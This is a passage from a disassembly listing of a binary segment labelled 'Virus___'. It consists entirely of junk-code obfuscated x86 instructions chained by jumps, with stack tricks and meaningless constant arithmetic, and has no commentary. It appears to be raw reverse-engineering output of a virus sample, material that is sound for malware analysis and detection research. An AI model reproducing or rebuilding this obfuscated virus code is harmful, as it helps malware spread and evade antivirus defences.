loc_55C75F ; --------------------------------------------------------------------------- loc_55FA4F: ; CODE XREF: Virus___:0055ED1Aj mov eax, esp add eax, 4 sub eax, 4 jmp loc_55672B ; --------------------------------------------------------------------------- loc_55FA60: ; CODE XREF: Virus___:005618F3j mov [esp], ebp mov ebp, 7D694E07h or ebp, 441C7EA0h jmp loc_55D1BB ; --------------------------------------------------------------------------- loc_55FA73: ; CODE XREF: Virus___:0055D911j mov cl, 0F5h neg cl sub cl, 6Ah sub al, cl pop ecx sub al, 0F9h push small 48DEh jmp loc_55DE62 ; --------------------------------------------------------------------------- loc_55FA88: ; CODE XREF: Virus___:005631B4j mov [esp], ebx jmp loc_55AA51 ; --------------------------------------------------------------------------- loc_55FA90: ; CODE XREF: Virus___:0055B542j add ebp, 4 jmp loc_55BDF4 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx mov bl, 3Ah push eax mov ah, 1 sub ah, 29h jmp loc_5636A5 ; --------------------------------------------------------------------------- loc_55FAA9: ; CODE XREF: Virus___:0056098Aj sub ecx, 2FAD7003h mov edx, ecx pop ecx add ecx, edx mov edx, [esp] push edx mov edx, esp jmp loc_54F99B ; --------------------------------------------------------------------------- loc_55FABF: ; CODE XREF: Virus___:005630C9j pop edx jmp loc_563684 ; --------------------------------------------------------------------------- loc_55FAC5: ; CODE XREF: Virus___:0055D6FBj add ecx, 0FFFFFFFFh inc ecx add ecx, 12206BFBh sub esi, 431744D5h add esi, 7A207DD8h add esi, ecx sub esi, 7A207DD8h add esi, 431744D5h mov ecx, [esp] add esp, 4 jmp loc_54FAA8 ; --------------------------------------------------------------------------- loc_55FAF7: ; CODE XREF: Virus___:00561FEEj mov ecx, [esp] jmp loc_56487B ; --------------------------------------------------------------------------- loc_55FAFF: ; CODE XREF: Virus___:0055C4EDj mov cx, [esp] push eax jmp loc_556104 ; --------------------------------------------------------------------------- loc_55FB09: ; CODE XREF: Virus___:0055AA74j mov [esp], esi push ebp mov ebp, 60BE377Ah jmp loc_563946 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55FB1F: ; CODE XREF: Virus___:0055DA95j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_563D2C ; --------------------------------------------------------------------------- loc_55FB2F: ; CODE XREF: Virus___:00556DCBj pop dword ptr [esp] jmp loc_55AC48 ; --------------------------------------------------------------------------- loc_55FB37: ; CODE XREF: Virus___:00552763j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55FB3C: ; CODE XREF: Virus___:0054F854j mov [esp], ebp push esp pop ebp jmp loc_55DDB3 ; --------------------------------------------------------------------------- loc_55FB46: ; CODE XREF: Virus___:005571BEj mov edx, [esp] add esp, 4 add edx, 4 push edi mov edi, 4 add edx, edi pop edi push edx push dword ptr [esp+4] pop edx jmp loc_55EDD9 ; --------------------------------------------------------------------------- loc_55FB66: ; CODE XREF: Virus___:00560292j add esi, 3602243Eh add esi, ebp push ebp jmp loc_55AE0B ; --------------------------------------------------------------------------- loc_55FB74: ; CODE XREF: Virus___:00562275j sub ebp, esi mov esi, [esp] jmp loc_56052D ; --------------------------------------------------------------------------- loc_55FB7E: ; CODE XREF: Virus___:0055BA11j or dl, 6 and dl, 3Ch sub dl, 0A2h add ah, 24h sub ah, dl sub ah, 24h mov edx, [esp] push ebx jmp loc_55C818 ; --------------------------------------------------------------------------- loc_55FB98: ; CODE XREF: Virus___:00553D6Dj mov ecx, [esp] add esp, 4 pop ebx push ebx mov bh, 2Dh sub esp, 2 mov [esp], cx mov ch, 11h sub bh, ch pop cx add bh, 88h jmp loc_55BE0C ; --------------------------------------------------------------------------- loc_55FBB7: ; CODE XREF: Virus___:0055A649j shl ebx, 2 shr ebx, 4 xchg ebp, ebx push ebp not dword ptr [esp] jmp loc_55FDC4 ; --------------------------------------------------------------------------- loc_55FBC8: ; CODE XREF: Virus___:00556BF0j pop eax add esp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5630D7 ; --------------------------------------------------------------------------- loc_55FBDD: ; CODE XREF: Virus___:005530DFj add ecx, 278050CEh sub ecx, 24022611h shr ecx, 1 add ecx, 0FC98D7FCh add edi, ecx pop ecx jmp loc_55652F ; --------------------------------------------------------------------------- loc_55FBF9: ; CODE XREF: Virus___:0055D660j sub ebp, 4BD40264h and ebp, 24B11689h xor ebp, 24DF7F15h add eax, ebp pop ebp add eax, ecx sub eax, 0FF6F9Dh sub esp, 4 jmp loc_557185 ; --------------------------------------------------------------------------- loc_55FC1D: ; CODE XREF: Virus___:00553098j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55FC22: ; CODE XREF: Virus___:00557982j pop esp push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_55EAD3 ; --------------------------------------------------------------------------- loc_55FC38: ; CODE XREF: Virus___:00558432j xor ecx, [esp] jmp loc_5621F7 ; --------------------------------------------------------------------------- loc_55FC40: ; CODE XREF: Virus___:0055895Ej add esi, 2A957C4Dh pop edx sub esi, 2 push esi jmp loc_55D2DA ; --------------------------------------------------------------------------- loc_55FC53: ; CODE XREF: Virus___:00555F16j pop edx push eax mov eax, 4C2A5A59h add edi, 17045E9h jmp loc_55E4E8 ; --------------------------------------------------------------------------- loc_55FC65: ; CODE XREF: Virus___:00550AD2j add eax, 3C0A658Eh sub edi, eax pop eax or ebx, edi pop edi sub ebx, 4D677BE4h push 2615h mov [esp], ebx push ecx mov ecx, 51D50EBEh xor [esp+4], ecx mov ecx, [esp] jmp loc_559B69 ; --------------------------------------------------------------------------- loc_55FC90: ; CODE XREF: Virus___:005555E3j mov al, 0B2h xor al, 0F2h jmp loc_56445D ; --------------------------------------------------------------------------- loc_55FC99: ; CODE XREF: Virus___:00550141j pop edi add esi, 708D4A3Bh sub esi, ecx push ebx mov ebx, 6EFA2263h and ebx, 124B63B8h inc ebx sub ebx, 28FE2577h neg ebx shl ebx, 6 sub ebx, 3C738B45h sub esi, ebx pop ebx pop ecx jmp loc_552C5D ; --------------------------------------------------------------------------- loc_55FCC9: ; CODE XREF: Virus___:00553108j add ebx, 1 xor ebx, 8B728FD2h jmp loc_55DC58 ; --------------------------------------------------------------------------- loc_55FCDA: ; CODE XREF: Virus___:0055C54Bj pop eax jmp loc_55DFC8 ; --------------------------------------------------------------------------- loc_55FCE0: ; CODE XREF: Virus___:005510E2j mov [esp], eax push ecx mov cl, 5Ah jmp loc_551A0B ; --------------------------------------------------------------------------- loc_55FCEB: ; CODE XREF: Virus___:0055CA6Dj pop ebx add esp, 4 push dx mov dh, 0CEh and ch, dh pop dx jmp loc_55D0AF ; --------------------------------------------------------------------------- loc_55FCFC: ; CODE XREF: Virus___:005500DFj pop esp mov [esp], eax jmp loc_550B57 ; --------------------------------------------------------------------------- loc_55FD05: ; CODE XREF: Virus___:00552603j mov [esp], esi push 0D21h mov [esp], ecx mov ecx, 7F760BD8h mov esi, ecx pop ecx jmp loc_556420 ; --------------------------------------------------------------------------- loc_55FD1D: ; CODE XREF: Virus___:00551852j pop ecx jmp loc_553269 ; --------------------------------------------------------------------------- loc_55FD23: ; CODE XREF: Virus___:0055C57Dj pop ecx add esp, 4 jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55FD2F: ; CODE XREF: Virus___:00561AB3j push eax sub dword ptr [esp], 19AB05A4h pop edx sub esp, 4 mov [esp], edi mov edi, 19AB05A4h jmp loc_550A87 ; --------------------------------------------------------------------------- loc_55FD48: ; CODE XREF: Virus___:00555F6Fj push ecx mov ecx, 28BE3EB2h sub esi, 53382D15h jmp loc_559E64 ; --------------------------------------------------------------------------- loc_55FD59: ; CODE XREF: Virus___:005571FAj sub bl, 6Fh jmp loc_55362B ; --------------------------------------------------------------------------- loc_55FD61: ; CODE XREF: Virus___:005623CDj shr edi, 1 add edi, 74A264CAh sub edi, 91046DCAh jmp loc_556B66 ; --------------------------------------------------------------------------- loc_55FD74: ; CODE XREF: Virus___:0055D392j add ecx, 30524202h pop ebx add ecx, 4 jmp loc_55AD01 ; --------------------------------------------------------------------------- loc_55FD86: ; CODE XREF: Virus___:0055E8CCj dec ecx sub ecx, 662D3E6Ah sub ecx, 764606F1h sub esi, ecx pop ecx dec esi shr esi, 1 sub esi, 7E4B6A4h add ecx, esi pop esi add ecx, edx sub ecx, 63E87D08h mov edx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_559F10 ; --------------------------------------------------------------------------- loc_55FDC4: ; CODE XREF: Virus___:0055FBC3j pop ebp xchg ebp, ebx sub ebx, 0A60B324Ch and [edi+20h], ebx pop ebx push 58Eh mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_55E908 ; --------------------------------------------------------------------------- loc_55FDEF: ; CODE XREF: Virus___:0055C356j push edx jmp loc_55BFE5 ; --------------------------------------------------------------------------- loc_55FDF5: ; CODE XREF: Virus___:00551185j add esp, 4 jmp loc_556F02 ; --------------------------------------------------------------------------- loc_55FE00: ; CODE XREF: Virus___:005515D5j mov ecx, 51F477B4h sub ecx, 7D983025h xor ecx, 784306D2h or ecx, 116A085Eh push 62F7h mov [esp], ebx jmp loc_55147C ; --------------------------------------------------------------------------- loc_55FE24: ; CODE XREF: Virus___:005527F7j add edx, esi pop esi push esi push 2 pop esi add edx, esi mov esi, [esp] jmp loc_561723 ; --------------------------------------------------------------------------- loc_55FE38: ; CODE XREF: Virus___:0055BBDFj push esi mov esi, 68BF6CE4h mov ebp, 201B0793h xor ebp, esi pop esi push ebx mov ebx, 0A2EBFB9h xor ebp, ebx pop ebx sub edi, ebp pop ebp add ebp, 180B6897h add ebp, edi sub ebp, 180B6897h jmp loc_550949 ; --------------------------------------------------------------------------- loc_55FE65: ; CODE XREF: Virus___:0055C863j sub eax, 0F7D61C0h sub eax, 13854A6Eh add eax, ecx sub esp, 4 mov [esp], ebx mov ebx, 13854A6Eh jmp loc_552671 ; --------------------------------------------------------------------------- loc_55FE81: ; CODE XREF: Virus___:0055EE9Bj pop esp jmp loc_55F037 ; --------------------------------------------------------------------------- loc_55FE87: ; CODE XREF: Virus___:00551FA4j mov bh, dl mov ch, bh pop ebx pop edx or ch, 0Eh push bx mov bl, 0ACh sub ch, 0Ah jmp loc_559AC4 ; --------------------------------------------------------------------------- loc_55FE9C: ; CODE XREF: Virus___:0055997Cj sub ebp, esi jmp loc_557413 ; --------------------------------------------------------------------------- loc_55FEA3: ; CODE XREF: Virus___:00551E39j push ebx mov ebx, 6EEC6963h jmp loc_56218C ; --------------------------------------------------------------------------- loc_55FEAE: ; CODE XREF: Virus___:0055039Aj sub edx, esi mov esi, [esp] jmp loc_557481 ; --------------------------------------------------------------------------- loc_55FEB8: ; CODE XREF: Virus___:00562E27j pop eax jmp loc_55AE47 ; --------------------------------------------------------------------------- loc_55FEBE: ; CODE XREF: Virus___:00558899j pop edx pop esi push ecx mov ecx, 125A1E3Ch add [esp+8], ecx pop ecx add [esp+4], eax push ebp jmp loc_562EE9 ; --------------------------------------------------------------------------- loc_55FED5: ; CODE XREF: Virus___:00558F43j xor ebp, 608844A2h jmp loc_55A6DD ; --------------------------------------------------------------------------- loc_55FEE0: ; CODE XREF: Virus___:005521F0j xchg ecx, [esp] jmp loc_551438 ; --------------------------------------------------------------------------- loc_55FEE8: ; CODE XREF: Virus___:0055CEE5j add esp, 4 shr ecx, 1 sub esp, 4 mov [esp], esi mov esi, 639D0AA2h push eax mov eax, 370F051Fh not eax jmp loc_55033C ; --------------------------------------------------------------------------- loc_55FF08: ; CODE XREF: Virus___:00552D38j sub al, 0ACh sub al, 2Eh sub esp, 2 mov [esp], bx push edx mov dh, 0B5h neg dh dec dh shl dh, 1 push bx mov bl, 4Ch add dh, 0CBh add dh, 86h add dh, bl sub dh, 86h sub dh, 0CBh pop bx push ebp jmp loc_555644 ; --------------------------------------------------------------------------- loc_55FF39: ; CODE XREF: Virus___:0055E63Cj mov [esp], ecx mov ecx, 0DE43F7Ch push ebp push edi mov edi, 62A65488h shl edi, 1 inc edi and edi, 285D4F4Eh push edx mov edx, 1E811E51h and edx, 7C27168Fh jmp loc_562846 ; --------------------------------------------------------------------------- loc_55FF62: ; CODE XREF: Virus___:0055AAD3j add ebp, 777A4C16h jmp loc_55C5A7 ; --------------------------------------------------------------------------- loc_55FF6D: ; CODE XREF: Virus___:0054FC4Ej mov edi, ecx jmp loc_556C69 ; --------------------------------------------------------------------------- mov cx, [esp] push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_55D293 ; --------------------------------------------------------------------------- loc_55FF8F: ; CODE XREF: Virus___:00563A25j xor ebx, edx mov edx, [esp] jmp loc_55558E ; --------------------------------------------------------------------------- loc_55FF99: ; CODE XREF: Virus___:00555F7Cj mov eax, edi pop edi pop ecx push eax mov eax, 2B6B0351h mov ebx, 5001B09Fh xor ebx, eax pop eax sub ebx, eax pop eax push edx mov edx, ebx mov esi, edx pop edx pop ebx push esi sub dword ptr [esp], 2D931D39h pop eax add eax, 2D931D39h mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push eax pop ecx jmp loc_55FA02 ; --------------------------------------------------------------------------- loc_55FFE2: ; CODE XREF: Virus___:005501D1j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_559F73 ; --------------------------------------------------------------------------- loc_55FFF2: ; CODE XREF: Virus___:00559BA2j mov [esp], esi sub esp, 4 mov [esp], esp jmp loc_563E90 ; --------------------------------------------------------------------------- loc_560000: ; CODE XREF: Virus___:00563EA9j xor edx, esi pop esi add edi, edx pop edx jmp loc_551FC9 ; --------------------------------------------------------------------------- loc_56000B: ; CODE XREF: Virus___:0055C153j xor ebx, ebp jmp loc_550C15 ; --------------------------------------------------------------------------- loc_560012: ; CODE XREF: Virus___:0055C1D1j mov edi, 59504092h shl edi, 7 push eax mov eax, 39901E3Ch dec eax or eax, 44EB7806h push edx push eax mov eax, 348583Eh jmp loc_5642F5 ; --------------------------------------------------------------------------- loc_560032: ; CODE XREF: Virus___:0055E7E0j and dl, 7Bh jmp loc_55B37E ; --------------------------------------------------------------------------- loc_56003A: ; CODE XREF: Virus___:00564ABFj sub ebp, 4F6271Dh shr ebp, 2 push eax jmp loc_5522E1 ; --------------------------------------------------------------------------- loc_560049: ; CODE XREF: Virus___:005537C2j push esi mov esi, esp sub esp, 4 mov [esp], eax mov eax, 55D66A49h push esi push 0 jmp loc_55262A ; --------------------------------------------------------------------------- loc_560065: ; CODE XREF: Virus___:00556E4Bj neg edx jmp loc_5537F9 ; --------------------------------------------------------------------------- loc_56006C: ; CODE XREF: Virus___:0055DB40j mov dl, 0ACh jmp loc_560102 ; --------------------------------------------------------------------------- loc_560073: ; CODE XREF: Virus___:0055CAA9j or ch, 5Bh sub ch, 0FFh jmp loc_55682D ; --------------------------------------------------------------------------- loc_56007E: ; CODE XREF: Virus___:0055A6E8j pop esi push ebx mov ebx, 4 add esi, ebx jmp loc_5585FB ; --------------------------------------------------------------------------- mov cx, [esp] push esi push 240Eh push esp pop dword ptr [esp] jmp loc_55B17D ; --------------------------------------------------------------------------- loc_56009F: ; CODE XREF: Virus___:005643D1j pop edx neg eax jmp loc_56084D ; --------------------------------------------------------------------------- loc_5600A7: ; CODE XREF: Virus___:0055D3BAj pop edi jmp loc_55C252 ; --------------------------------------------------------------------------- loc_5600AD: ; CODE XREF: Virus___:0055BCA8j pop edx inc ebp shl ebp, 1 jmp loc_55680B ; --------------------------------------------------------------------------- loc_5600B6: ; CODE XREF: Virus___:0054FE6Dj pop esp shl dword ptr [esp], cl pushf jmp loc_56493F ; --------------------------------------------------------------------------- loc_5600C0: ; CODE XREF: Virus___:005585DCj add esp, 4 push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] jmp loc_556285 ; --------------------------------------------------------------------------- loc_5600D4: ; CODE XREF: Virus___:00557643j pop esi add esp, 4 pop dword ptr [esp] mov ebp, [esp] jmp loc_556260 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp mov ebx, [esp] jmp loc_55986B ; --------------------------------------------------------------------------- loc_5600F1: ; CODE XREF: Virus___:00553990j xor esi, 4BF2176Fh sub edi, esi pop esi pop ebx add edi, esi jmp loc_552EB3 ; --------------------------------------------------------------------------- loc_560102: ; CODE XREF: Virus___:0056006Ej sub al, 14h jmp loc_559E3C ; --------------------------------------------------------------------------- loc_560109: ; CODE XREF: Virus___:005568F0j xchg edx, [esp] pop esp push esi push ebx mov ebx, esp add ebx, 4 jmp loc_5605E2 ; --------------------------------------------------------------------------- loc_56011C: ; CODE XREF: Virus___:0055C2D2j and eax, esi push dword ptr [esp] jmp loc_5623DF ; --------------------------------------------------------------------------- loc_560126: ; CODE XREF: Virus___:00553F94j add esp, 4 add edx, eax jmp loc_55A673 ; --------------------------------------------------------------------------- loc_560133: ; CODE XREF: Virus___:005611E7j xor [esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] pop eax push 1138h mov [esp], edi mov edi, esp push 770Eh mov [esp], ecx push ebp push eax jmp loc_54FDE3 ; --------------------------------------------------------------------------- loc_560157: ; CODE XREF: Virus___:00561E3Fj mov ebx, 28D54D8Ah push ebx dec dword ptr [esp] mov ebx, [esp] add esp, 4 inc ebx sub ebx, 68003Bh xor ebx, 357C70E1h jmp loc_55E579 ; --------------------------------------------------------------------------- loc_560178: ; CODE XREF: Virus___:005606E0j add ebx, edi mov edi, [esp] jmp loc_55E72E ; --------------------------------------------------------------------------- loc_560182: ; CODE XREF: Virus___:00559CD8j mov ebx, [esp] add esp, 4 add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp or eax, eax jnz loc_558DB6 push 5B0Bh mov [esp], edi mov edi, 50F03598h push 4564h jmp loc_550522 ; --------------------------------------------------------------------------- loc_5601BA: ; CODE XREF: Virus___:005633F8j mov edi, esp add edi, 4 push ebx mov ebx, 33C92E90h xor ebx, 18EB12BBh jmp loc_555829 ; --------------------------------------------------------------------------- loc_5601D3: ; CODE XREF: Virus___:00551D56j push 30FBh mov [esp], ebp mov ebp, 4 push ebp jmp loc_56056D ; --------------------------------------------------------------------------- loc_5601E6: ; CODE XREF: Virus___:0055E2C5j mov ebx, 0EBA641Fh not ebx shl ebx, 1 inc ebx push ebx jmp loc_556E8A ; --------------------------------------------------------------------------- loc_5601F6: ; CODE XREF: Virus___:00561163j mov cx, [esp] add esp, 2 xor cx, 269Fh mov ebx, [esp] add esp, 4 add ax, 4C18h jmp loc_557F4C ; --------------------------------------------------------------------------- loc_560214: ; CODE XREF: Virus___:00559A20j dec ebx push ecx mov ecx, 36D3731Bh jmp loc_560FA8 ; --------------------------------------------------------------------------- loc_560220: ; CODE XREF: Virus___:00552B12j add esp, 4 add eax, ebx push dword ptr [eax] mov ecx, [esp] add esp, 4 mov eax, [esp] add esp, 4 push dword ptr [esp] pop ebx push 6489h mov [esp], ecx jmp loc_56426A ; --------------------------------------------------------------------------- loc_56024A: ; CODE XREF: Virus___:00556C02j add ebx, ecx jmp loc_5506B6 ; --------------------------------------------------------------------------- loc_560251: ; CODE XREF: Virus___:005623F1j add esi, 4 jmp loc_55932D ; --------------------------------------------------------------------------- loc_560259: ; CODE XREF: Virus___:0055A051j push dword ptr [esp] pop eax push 26A0h mov [esp], esi push esp pop esi add esi, 4 sub esp, 4 mov [esp], ebp mov ebp, 4A16186Ah xor ebp, 610944ABh neg ebp push esi mov esi, 0D4E0A33Bh xor ebp, esi pop esi sub esi, 75F569DCh jmp loc_55FB66 ; --------------------------------------------------------------------------- loc_560297: ; CODE XREF: Virus___:00557C8Cj add edi, 0E31E7508h mov eax, edi pop edi push ebx mov ebx, 5A0E4C6Ah sub ebx, 1284EE2Bh jmp loc_55F537 ; --------------------------------------------------------------------------- loc_5602B1: ; CODE XREF: Virus___:00554FA9j mov edx, esi mov esi, [esp] add esp, 4 push dword ptr [esp] jmp loc_56339A ; --------------------------------------------------------------------------- loc_5602C1: ; CODE XREF: Virus___:0055533Fj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx jmp loc_55EC08 ; --------------------------------------------------------------------------- loc_5602D4: ; CODE XREF: Virus___:005589EFj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] xor bl, al jmp loc_55C223 ; --------------------------------------------------------------------------- loc_5602E7: ; CODE XREF: Virus___:00557FC6j mov dl, 40h mov cl, dl jmp loc_552032 ; --------------------------------------------------------------------------- loc_5602F0: ; CODE XREF: Virus___:00554ECDj mov ah, 0F7h jmp loc_55AC1E ; --------------------------------------------------------------------------- loc_5602F7: ; CODE XREF: Virus___:0055C26Fj add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_55B3A7 ; --------------------------------------------------------------------------- loc_560312: ; CODE XREF: Virus___:0055F80Bj not esi xor esi, 0B89D8739h mov ecx, esi pop esi push edx mov edx, esp add edx, 4 jmp loc_554582 ; --------------------------------------------------------------------------- loc_56032B: ; CODE XREF: Virus___:0055CE6Bj mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push ebp push esp pop ebp jmp loc_55BD76 ; --------------------------------------------------------------------------- loc_56034F: ; CODE XREF: Virus___:00555B86j push eax mov eax, 2DFD01F2h sub eax, 58E35420h and eax, 36670B6Dh jmp loc_561434 ; --------------------------------------------------------------------------- loc_560364: ; CODE XREF: Virus___:00553C31j pop esi sub edx, 38BD2E2Ch jmp loc_554962 ; --------------------------------------------------------------------------- mov ax, [esp] push edx mov edx, esp push ebx mov ebx, 41E65619h or ebx, 7D1D07A0h neg ebx jmp loc_55A7B6 ; --------------------------------------------------------------------------- loc_56038A: ; CODE XREF: Virus___:0055D7EFj add al, 0D3h mov dx, [esp] add esp, 2 sub bl, 70h jmp loc_55A8FB ; --------------------------------------------------------------------------- loc_56039B: ; CODE XREF: Virus___:00555932j mov [esp], edx push 3Ch pop edx push ebp mov ebp, 45F424EEh shr ebp, 2 push esi jmp loc_55D00E ; --------------------------------------------------------------------------- loc_5603B3: ; CODE XREF: Virus___:0055E9D9j add edx, 4 push eax jmp loc_5520F1 ; --------------------------------------------------------------------------- loc_5603BF: ; CODE XREF: Virus___:00564CE7j mov eax, 597271ECh or eax, 151A49D2h shl eax, 7 push edi mov edi, 20757A0Dh push esi mov esi, 53833819h inc esi jmp loc_55803D ; --------------------------------------------------------------------------- loc_5603DE: ; CODE XREF: Virus___:00561CC7j shr ebx, 7 xor ebx, 15B53153h push eax mov eax, 45830FFFh jmp loc_55A643 ; --------------------------------------------------------------------------- loc_5603F2: ; CODE XREF: Virus___:00561A43j push edi push 7B887DD1h jmp loc_55B406 ; --------------------------------------------------------------------------- loc_5603FD: ; CODE XREF: Virus___:00556544j xor ebx, 35BD428Eh add ebx, 0D2637F1Dh sub ecx, ebx pop ebx jmp loc_554CF4 ; --------------------------------------------------------------------------- loc_560411: ; CODE XREF: Virus___:00561085j add esp, 4 push 302Ah mov [esp], ecx push esp pop ecx jmp loc_55B5C3 ; --------------------------------------------------------------------------- loc_560426: ; CODE XREF: Virus___:0055F35Fj neg al xor al, 54h push edx mov dh, 0DAh add al, 67h add al, dh sub esp, 4 mov [esp], ecx mov cl, 0E1h shl cl, 3 push ebx mov bl, 15h jmp loc_55389A ; --------------------------------------------------------------------------- loc_560447: ; CODE XREF: Virus___:00552958j xor ebx, edi pop edi jmp loc_556B75 ; --------------------------------------------------------------------------- loc_56044F: ; CODE XREF: Virus___:0055F3E3j mov edi, edx pop edx add ecx, edi pop edi sub ecx, 4 jmp loc_550918 ; --------------------------------------------------------------------------- loc_560460: ; CODE XREF: Virus___:0055709Aj push eax push ecx mov cl, bl mov al, cl pop ecx push ebx mov bh, al jmp loc_5516D8 ; --------------------------------------------------------------------------- loc_56046F: ; CODE XREF: Virus___:0055A8FFj mov dl, 70h add bl, 0F5h add bl, dl sub bl, 0F5h mov dx, [esp] jmp loc_55BC4F ; --------------------------------------------------------------------------- loc_560482: ; CODE XREF: Virus___:00555CB1j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_555C5C ; --------------------------------------------------------------------------- loc_56048F: ; CODE XREF: Virus___:00561592j xor eax, ebp xor ebp, eax not eax xchg eax, ebp shl ebp, 6 and ebp, 419D7257h push ecx mov ecx, 6BEF3BB3h shr ecx, 2 dec ecx and ecx, 72E120B8h shr ecx, 7 jmp loc_55ECF9 ; --------------------------------------------------------------------------- loc_5604B7: ; CODE XREF: Virus___:00560E84j push esp pop edx add edx, 4 jmp loc_562D1D ; --------------------------------------------------------------------------- loc_5604C4: ; CODE XREF: Virus___:0055EE7Bj xchg esi, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_555BED ; --------------------------------------------------------------------------- loc_5604D6: ; CODE XREF: Virus___:00552E80j pop dword ptr [eax] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5604DD: ; CODE XREF: Virus___:00563EDDj mov ecx, 59A41C22h sub esi, ecx pop ecx or [edi+1Ch], esi push dword ptr [esp] mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_560C14 ; --------------------------------------------------------------------------- loc_560501: ; CODE XREF: Virus___:0055BD2Bj pop eax or ecx, edi pop edi push eax jmp loc_558CB3 ; --------------------------------------------------------------------------- loc_56050B: ; CODE XREF: Virus___:005508B2j pop edi xor ebp, ecx mov ecx, [esp] add esp, 4 sub ebx, ebp push dword ptr [esp] pop ebp add esp, 4 add ebx, 6A42108Bh add ebx, eax jmp loc_555215 ; --------------------------------------------------------------------------- loc_56052D: ; CODE XREF: Virus___:0055FB79j add esp, 4 add eax, 72DC06A8h add eax, ebp push edi mov edi, 72DC06A8h sub eax, edi pop edi mov ebp, [esp] add esp, 4 sub esp, 4 jmp loc_55903C ; --------------------------------------------------------------------------- loc_560557: ; CODE XREF: Virus___:00564851j pop esi sub esp, 4 mov [esp], esi add dword ptr [esp], 11522796h jmp loc_5544B7 ; --------------------------------------------------------------------------- loc_56056D: ; CODE XREF: Virus___:005601E1j push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop ebp push esi jmp loc_5637B1 ; --------------------------------------------------------------------------- loc_56057E: ; CODE XREF: Virus___:0055CEA7j push dword ptr [esp] pop edi add esp, 4 add esp, 4 push edx jmp loc_5582D8 ; --------------------------------------------------------------------------- loc_56058E: ; CODE XREF: Virus___:0055DB48j xchg eax, [esp] mov esp, [esp] add esi, ebx jmp loc_563649 ; --------------------------------------------------------------------------- loc_56059B: ; CODE XREF: Virus___:0055DD72j add esp, 4 push eax push ebx jmp loc_54F894 ; --------------------------------------------------------------------------- loc_5605A8: ; CODE XREF: Virus___:0055D6D8j push ebx push ebp jmp loc_550F98 ; --------------------------------------------------------------------------- loc_5605AF: ; CODE XREF: Virus___:00551FACj add esp, 4 shl dword ptr [edi+20h], 1 shl dword ptr [edi+20h], 1 shl dword ptr [edi+20h], 6 inc dword ptr [edi+20h] jmp loc_561CAE ; --------------------------------------------------------------------------- loc_5605C7: ; CODE XREF: Virus___:0054FE0Ej mov ebx, 3CD811DDh sub ebx, 2BCBB7B9h jmp loc_552281 ; --------------------------------------------------------------------------- loc_5605D7: ; CODE XREF: Virus___:005528D4j and edx, 2F2A45BBh jmp loc_55425A ; --------------------------------------------------------------------------- loc_5605E2: ; CODE XREF: Virus___:00560117j push edi mov edi, 606569B9h not edi push 4131h mov [esp], ecx mov ecx, 4F9113C8h sub ecx, 2A954CF3h inc ecx and ecx, 76240E8h sub ecx, 5F7F3D59h sub ecx, 4D3BC314h neg ecx jmp loc_5624A0 ; --------------------------------------------------------------------------- loc_560617: ; CODE XREF: Virus___:0055B6D2j push 1BC73D60h mov edi, [esp] add esp, 4 shr edi, 7 jmp loc_560F5F ; --------------------------------------------------------------------------- loc_56062D: ; CODE XREF: Virus___:00556614j sub ebx, 346F1236h jmp loc_55820A ; --------------------------------------------------------------------------- loc_560638: ; CODE XREF: Virus___:0056065Dj xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_562B78 ; --------------------------------------------------------------------------- loc_560646: ; CODE XREF: Virus___:00562713j add edx, esi pop esi add edx, ebp sub edx, 2DE920BFh mov ebp, [esp] add esp, 4 add edx, 4 jmp loc_560638 ; --------------------------------------------------------------------------- loc_560662: ; CODE XREF: Virus___:005549C7j shr esi, 3 dec esi jmp loc_5507DE ; --------------------------------------------------------------------------- loc_56066B: ; CODE XREF: Virus___:0055530Cj push edx jmp loc_551A7B ; --------------------------------------------------------------------------- loc_560671: ; CODE XREF: Virus___:0055E5B0j pop ebx pop eax mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_551A85 ; --------------------------------------------------------------------------- loc_56068F: ; CODE XREF: Virus___:005632AEj add esp, 4 and eax, esi mov esi, [esp] jmp loc_558193 ; --------------------------------------------------------------------------- loc_56069C: ; CODE XREF: Virus___:005579C4j pop edx pop ecx add al, 0C6h sub al, bl push ebx mov bh, 0C6h jmp loc_557E37 ; --------------------------------------------------------------------------- loc_5606AA: ; CODE XREF: Virus___:005618E1j mov edx, esp add edx, 4 add edx, 4 sub esp, 4 mov [esp], edx jmp loc_563D70 ; --------------------------------------------------------------------------- loc_5606C0: ; CODE XREF: Virus___:0055BD12j pop eax jmp loc_558142 ; --------------------------------------------------------------------------- loc_5606C6: ; CODE XREF: Virus___:00553F38j sub esp, 4 mov [esp], edx mov edx, esp push ebx mov ebx, esp push edi mov edi, 66500A2Bh add edi, 99AFF5D9h 